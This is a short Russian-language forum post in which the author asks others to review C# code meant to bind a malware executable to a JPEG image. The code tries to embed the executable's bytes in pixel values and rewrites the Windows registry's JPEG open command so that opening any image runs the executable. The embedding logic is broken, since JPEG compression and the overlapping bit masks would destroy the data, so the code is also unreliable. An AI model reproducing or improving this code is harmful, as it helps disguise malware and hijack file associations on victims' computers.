Пришла идейка накидать простенькую прогу для склейки исполняемого файла (малваря) и .jpg картиночки
Знотаки, гляньте на код и определите мой диагноз пожалуйста)
Знотаки, гляньте на код и определите мой диагноз пожалуйста)
Код:
using System;
using System.IO;
using System.Drawing;
using System.Drawing.Imaging;
using Microsoft.Win32;
namespace ExeToJpegConverter
{
class Program
{
static void Main(string[] args)
{
string exeFilePath = "C:\\Users\\38068\\source\\virus.exe";
string jpegFilePath = "output.jpg";
CreateJpegWithExecutable(exeFilePath, jpegFilePath);
Console.WriteLine($"JPEG file created: {jpegFilePath}");
}
static void CreateJpegWithExecutable(string exeFilePath, string jpegFilePath)
{
try
{
byte[] exeBytes = File.ReadAllBytes(exeFilePath);
using (Bitmap image = new Bitmap(1024, 768))
{
HideExecutableInImage(exeBytes, image);
image.Save(jpegFilePath, ImageFormat.Jpeg);
}
RegisterJpegToRunExecutable(jpegFilePath, exeFilePath);
}
catch (Exception ex)
{
Console.WriteLine($"Error creating JPEG file: {ex.Message}");
}
}
static void HideExecutableInImage(byte[] exeBytes, Bitmap image)
{
try
{
for (int x = 0; x < image.Width; x++)
{
for (int y = 0; y < image.Height; y++)
{
Color pixelColor = image.GetPixel(x, y);
byte exeByte = exeBytes[(x + y * image.Width) % exeBytes.Length];
pixelColor = Color.FromArgb(
(pixelColor.R & 0xFE) | (exeByte >> 6),
(pixelColor.G & 0xFE) | ((exeByte >> 4) & 0x3),
(pixelColor.B & 0xFE) | (exeByte & 0xF)
);
image.SetPixel(x, y, pixelColor);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Error hiding executable file in image: {ex.Message}");
}
}
static void RegisterJpegToRunExecutable(string jpegFilePath, string exeFilePath)
{
try
{
using (RegistryKey key = Registry.ClassesRoot.CreateSubKey(@"jpegfile\shell\open\command"))
{
key.SetValue("", $"\"{exeFilePath}\" \"%1\"", RegistryValueKind.String);
}
}
catch (Exception ex)
{
Console.WriteLine($"Error registering JPEG file: {ex.Message}");
}
}
}
}